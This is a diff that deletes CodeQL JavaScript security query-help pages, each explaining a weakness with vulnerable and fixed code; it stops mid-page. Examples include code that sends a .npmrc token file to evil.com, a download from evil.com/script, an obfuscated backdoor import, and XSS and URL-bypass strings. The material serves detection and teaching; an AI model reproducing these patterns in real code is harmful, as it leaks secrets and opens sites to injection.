-[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ExceptionXss.ql) - -Directly writing exceptions to a webpage without sanitization allows for a cross-site scripting vulnerability if the value of the exception can be influenced by a user. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting. - - -```javascript -function setLanguageOptions() { - var href = document.location.href, - deflt = href.substring(href.indexOf("default=")+8); - - try { - var parsed = unknownParseFunction(deflt); - } catch(e) { - document.write("Had an error: " + e + "."); - } -} - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/FileAccessToHttp.md b/docs/language/query-help/javascript/FileAccessToHttp.md deleted file mode 100644 index 7227bb00c53..00000000000 --- a/docs/language/query-help/javascript/FileAccessToHttp.md +++ /dev/null @@ -1,42 +0,0 @@ -# File data in outbound network request - -``` -ID: js/file-access-to-http -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-200 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-200/FileAccessToHttp.ql) - -Sending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. - - -## Recommendation -Examine the highlighted code closely to ensure that it is behaving as intended. - - -## Example -The following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header. - - -```javascript -var fs = require("fs"), - https = require("https"); - -var content = fs.readFileSync(".npmrc", "utf8"); -https.get({ - hostname: "evil.com", - path: "/upload", - method: "GET", - headers: { Referer: content } -}, () => { }); - -``` - -## References -* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes). -* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure). -* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). -* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedCredentials.md b/docs/language/query-help/javascript/HardcodedCredentials.md deleted file mode 100644 index bf416991c16..00000000000 --- a/docs/language/query-help/javascript/HardcodedCredentials.md +++ /dev/null @@ -1,44 +0,0 @@ -# Hard-coded credentials - -``` -ID: js/hardcoded-credentials -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - - -## Example -The following code example connects to a Postgres database using the `pg` package and hard-codes user name and password: - - -```javascript -const pg = require("pg"); - -const client = new pg.Client({ - user: "bob", - host: "database.server.com", - database: "mydb", - password: "correct-horse-battery-staple", - port: 3211 -}); -client.connect(); - -``` -Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. - - -## References -* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md b/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md deleted file mode 100644 index aebe25d0e2d..00000000000 --- a/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md +++ /dev/null @@ -1,41 +0,0 @@ -# Hard-coded data interpreted as code - -``` -ID: js/hardcoded-data-interpreted-as-code -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-506 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql) - -Interpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools. - - -## Recommendation -Examine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety. - - -## Example -As an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package: - - -```javascript -var r = require; - -function e(r) { - return Buffer.from(r, "hex").toString() -} - -// BAD: hexadecimal constant decoded and interpreted as import path -var n = r(e("2e2f746573742f64617461")); - -``` -While this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported. - - -## References -* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). -* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident). -* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md b/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md deleted file mode 100644 index bb6f7633ccb..00000000000 --- a/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md +++ /dev/null @@ -1,77 +0,0 @@ -# Host header poisoning in email generation - -``` -ID: js/host-header-forgery-in-email-generation -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-640 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql) - -Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site. - -If the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. - - -## Recommendation -Obtain the server's host name from a configuration file and avoid relying on the Host header. - - -## Example -The following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker: - - -```javascript -let nodemailer = require('nodemailer'); -let express = require('express'); -let backend = require('./backend'); - -let app = express(); - -let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); - -app.post('/resetpass', (req, res) => { - let email = req.query.email; - let transport = nodemailer.createTransport(config.smtp); - let token = backend.getUserSecretResetToken(email); - transport.sendMail({ - from: 'webmaster@example.com', - to: email, - subject: 'Forgot password', - text: `Click to reset password: https://${req.host}/resettoken/${token}`, - }); -}); - -``` -To ensure the link refers to the correct web site, get the host name from a configuration file: - - -```javascript -let nodemailer = require('nodemailer'); -let express = require('express'); -let backend = require('./backend'); - -let app = express(); - -let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); - -app.post('/resetpass', (req, res) => { - let email = req.query.email; - let transport = nodemailer.createTransport(config.smtp); - let token = backend.getUserSecretResetToken(email); - transport.sendMail({ - from: 'webmaster@example.com', - to: email, - subject: 'Forgot password', - text: `Click to reset password: https://${config.hostname}/resettoken/${token}`, - }); -}); - -``` - -## References -* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html). -* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/). -* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HttpToFileAccess.md b/docs/language/query-help/javascript/HttpToFileAccess.md deleted file mode 100644 index dae88649064..00000000000 --- a/docs/language/query-help/javascript/HttpToFileAccess.md +++ /dev/null @@ -1,42 +0,0 @@ -# Network data written to file - -``` -ID: js/http-to-file-access -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-912 external/cwe/cwe-434 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql) - -Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. - - -## Recommendation -Examine the highlighted code closely to ensure that it is behaving as intended. - - -## Example -The following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`. - - -```javascript -var https = require("https"); -var fs = require("fs"); - -https.get('https://evil.com/script', res => { - res.on("data", d => { - fs.writeFileSync("/tmp/script", d) - }) -}); - -``` -Other parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source. - - -## References -* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). -* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload). -* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html). -* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IdentityReplacement.md b/docs/language/query-help/javascript/IdentityReplacement.md deleted file mode 100644 index b8d8ccbcd00..00000000000 --- a/docs/language/query-help/javascript/IdentityReplacement.md +++ /dev/null @@ -1,38 +0,0 @@ -# Replacement of a substring with itself - -``` -ID: js/identity-replacement -Kind: problem -Severity: warning -Precision: very-high -Tags: correctness security external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/RegExp/IdentityReplacement.ql) - -Replacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape. - - -## Recommendation -Examine the string replacement to find and correct any typos. - - -## Example -The following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `"` with `\"`: - - -```javascript -var escaped = raw.replace(/"/g, '\"'); - -``` -However, the replacement string `'\"'` is actually the same as `'"'`, with `\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\"'`: - - -```javascript -var escaped = raw.replace(/"/g, '\\"'); - -``` - -## References -* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ImproperCodeSanitization.md b/docs/language/query-help/javascript/ImproperCodeSanitization.md deleted file mode 100644 index c29ef6c0aa9..00000000000 --- a/docs/language/query-help/javascript/ImproperCodeSanitization.md +++ /dev/null @@ -1,63 +0,0 @@ -# Improper code sanitization - -``` -ID: js/bad-code-sanitization -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/ImproperCodeSanitization.ql) - -Using string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker. - - -## Recommendation -If using `JSON.stringify` or a HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters. - - -## Example -The example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains ``, then the generated code will break out of a `` if inserted into a `` tag. - - -```javascript -function createObjectWrite() { - const assignment = `obj[${JSON.stringify(key)}]=42`; - return `(function(){${assignment}})` // NOT OK -} -``` -The issue has been fixed by escaping potentially dangerous characters, as shown below. - - -```javascript -const charMap = { - '<': '\\u003C', - '>' : '\\u003E', - '/': '\\u002F', - '\\': '\\\\', - '\b': '\\b', - '\f': '\\f', - '\n': '\\n', - '\r': '\\r', - '\t': '\\t', - '\0': '\\0', - '\u2028': '\\u2028', - '\u2029': '\\u2029' -}; - -function escapeUnsafeChars(str) { - return str.replace(/[<>\b\f\n\r\t\0\u2028\u2029]/g, x => charMap[x]) -} - -function createObjectWrite() { - const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`; - return `(function(){${assignment}})` // OK -} -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHostnameRegExp.md b/docs/language/query-help/javascript/IncompleteHostnameRegExp.md deleted file mode 100644 index 0972173a4d5..00000000000 --- a/docs/language/query-help/javascript/IncompleteHostnameRegExp.md +++ /dev/null @@ -1,47 +0,0 @@ -# Incomplete regular expression for hostnames - -``` -ID: js/incomplete-hostname-regexp -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. - -If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. - - -## Recommendation -Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param('url'), - host = urlLib.parse(url).host; - // BAD: the host of `url` may be controlled by an attacker - let regex = /^((www|beta).)?example.com/; - if (host.match(regex)) { - res.redirect(url); - } -}); - -``` -The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. - -Address this vulnerability by escaping `.` appropriately: `let regex = /((www|beta)\.)?example\.com/`. - - -## References -* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md b/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md deleted file mode 100644 index 8f37ddb3c89..00000000000 --- a/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md +++ /dev/null @@ -1,61 +0,0 @@ -# Incomplete HTML attribute sanitization - -``` -ID: js/incomplete-html-attribute-sanitization -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteHtmlAttributeSanitization.ql) - -Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized. - -As a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML. - - -## Recommendation -Sanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used. - - -## Example -The following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `" onclick="alert(42)` to inject JavaScript code into the response. - - -```javascript -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - let id = req.params.id; - id = id.replace(/<|>/g, ""); // BAD - let userHtml = `
    ${getUserName(id) || "Unknown name"}
    `; - // ... - res.send(prefix + userHtml + suffix); -}); - -``` -Sanitizing the user-controlled data for `"` helps prevent the vulnerability: - - -```javascript -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - let id = req.params.id; - id = id.replace(/<|>|&|"/g, ""); // GOOD - let userHtml = `
    ${getUserName(id) || "Unknown name"}
    `; - // ... - res.send(prefix + userHtml + suffix); -}); - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md b/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md deleted file mode 100644 index af83b6b7823..00000000000 --- a/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md +++ /dev/null @@ -1,62 +0,0 @@ -# Incomplete multi-character sanitization - -``` -ID: js/incomplete-multi-character-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql) - -Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. - -However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. - -In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. - -Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. - - -## Recommendation -Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. - -Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. - -Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. - -For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. - - -## Example -For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: - - -```javascript -function escapeQuotes(s) { - return s.replace("'", "''"); -} - -``` -As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. - -As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. - -If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: - - -```javascript -function escapeQuotes(s) { - return s.replace(/'/g, "''"); -} - -``` -Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. - - -## References -* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). -* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteSanitization.md b/docs/language/query-help/javascript/IncompleteSanitization.md deleted file mode 100644 index 3baf4fe0c6d..00000000000 --- a/docs/language/query-help/javascript/IncompleteSanitization.md +++ /dev/null @@ -1,62 +0,0 @@ -# Incomplete string escaping or encoding - -``` -ID: js/incomplete-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteSanitization.ql) - -Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. - -However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. - -In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. - -Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. - - -## Recommendation -Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. - -Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. - -Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. - -For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. - - -## Example -For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: - - -```javascript -function escapeQuotes(s) { - return s.replace("'", "''"); -} - -``` -As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. - -As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. - -If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: - - -```javascript -function escapeQuotes(s) { - return s.replace(/'/g, "''"); -} - -``` -Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. - - -## References -* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). -* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md b/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md deleted file mode 100644 index fffc180bccf..00000000000 --- a/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md +++ /dev/null @@ -1,50 +0,0 @@ -# Incomplete URL scheme check - -``` -ID: js/incomplete-url-scheme-check -Kind: problem -Severity: warning -Precision: high -Tags: security correctness external/cwe/cwe-020 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) - -URLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme. - -However, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient. - - -## Recommendation -Add checks covering both `data:` and `vbscript:`. - - -## Example -The following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned. - - -```javascript -function sanitizeUrl(url) { - let u = decodeURI(url).trim().toLowerCase(); - if (u.startsWith("javascript:")) - return "about:blank"; - return url; -} - -``` -While this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well: - - -```javascript -function sanitizeUrl(url) { - let u = decodeURI(url).trim().toLowerCase(); - if (u.startsWith("javascript:") || u.startsWith("data:") || u.startsWith("vbscript:")) - return "about:blank"; - return url; -} - -``` - -## References -* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md deleted file mode 100644 index 84a19be6603..00000000000 --- a/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md +++ /dev/null @@ -1,75 +0,0 @@ -# Incomplete URL substring sanitization - -``` -ID: js/incomplete-url-substring-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. - -However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. - -Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. - - -## Recommendation -Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param("url"); - // BAD: the host of `url` may be controlled by an attacker - if (url.includes("example.com")) { - res.redirect(url); - } -}); - -``` -The substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead: - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param("url"), - host = urlLib.parse(url).host; - // BAD: the host of `url` may be controlled by an attacker - if (host.includes("example.com")) { - res.redirect(url); - } -}); - -``` -This is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure: - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param('url'), - host = urlLib.parse(url).host; - // GOOD: the host of `url` can not be controlled by an attacker - let allowedHosts = [ - 'example.com', - 'beta.example.com', - 'www.example.com' - ]; - if (allowedHosts.includes(host)) { - res.redirect(url); - } -}); - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncorrectSuffixCheck.md b/docs/language/query-help/javascript/IncorrectSuffixCheck.md deleted file mode 100644 index 862e555e760..00000000000 --- a/docs/language/query-help/javascript/IncorrectSuffixCheck.md +++ /dev/null @@ -1,48 +0,0 @@ -# Incorrect suffix check - -``` -ID: js/incorrect-suffix-check -Kind: problem -Severity: error -Precision: high -Tags: security correctness 